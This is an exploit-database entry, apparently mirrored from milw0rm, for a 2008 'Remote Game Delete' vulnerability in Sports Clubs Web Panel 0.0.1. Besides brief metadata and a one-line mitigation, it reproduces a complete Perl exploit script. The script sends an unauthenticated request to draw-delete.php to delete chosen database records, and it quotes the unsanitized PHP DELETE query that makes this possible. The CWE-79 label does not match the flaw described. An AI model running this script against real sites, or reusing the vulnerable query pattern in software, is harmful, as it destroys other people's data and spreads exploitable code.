header-logo
Suggest Exploit
vendor:
Sports Clubs Web Panel
by:
ka0x
7.5
CVSS
HIGH
Remote Game Delete Exploit
79
CWE
Product Name: Sports Clubs Web Panel
Affected Version From: 0.0.1
Affected Version To: 0.0.1
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2008

Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit

Sports Clubs Web Panel 0.0.1 is vulnerable to a remote game delete exploit. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'id' parameter of the 'draw-delete.php' script. An attacker can exploit this vulnerability to delete games from the database.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.
Source

Exploit-DB raw data:

#!/usr/bin/perl -W

# Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit
# File affected: include/draw-delete.php (id)

# Vuln Code:

# 06:  $did = $_GET['id'];
# 08:  mysql_query("DELETE FROM draw WHERE did='$did'");

# by ka0x <ka0x01 [at] gmail [dot] com>
# D.O.M Labs - Security Researchers
# - www.domlabs.org -
#

# ka0x@domlabs:~/codes$ ./sportspanel.pl http://localhost/sportspanel 3


use LWP::UserAgent;

my $host = $ARGV[0];
my $did = $ARGV[1];

die &_USAGE unless $ARGV[1];

sub _USAGE
{
	die "
	- Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit -
	- by ka0x (www.domlabs.org)
	
	usage: ./$0 <host> <valid_game_id>
	ex: ./$0 http://localhost/sportspanel 2
	";
}

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");

my $req = HTTP::Request->new(GET => $host."/?p=draw-delete&id=".$did);
my $res = $ua->request($req);
my $con = $res->content;

if ($res->is_success){
	if($con =~ /$did/){
		print "[+] The Game \"$did\" has been deleted from the database!\n";
	}
}

else{
	print "[-] Exploit Failed!";
}

__END__

# milw0rm.com [2008-09-13]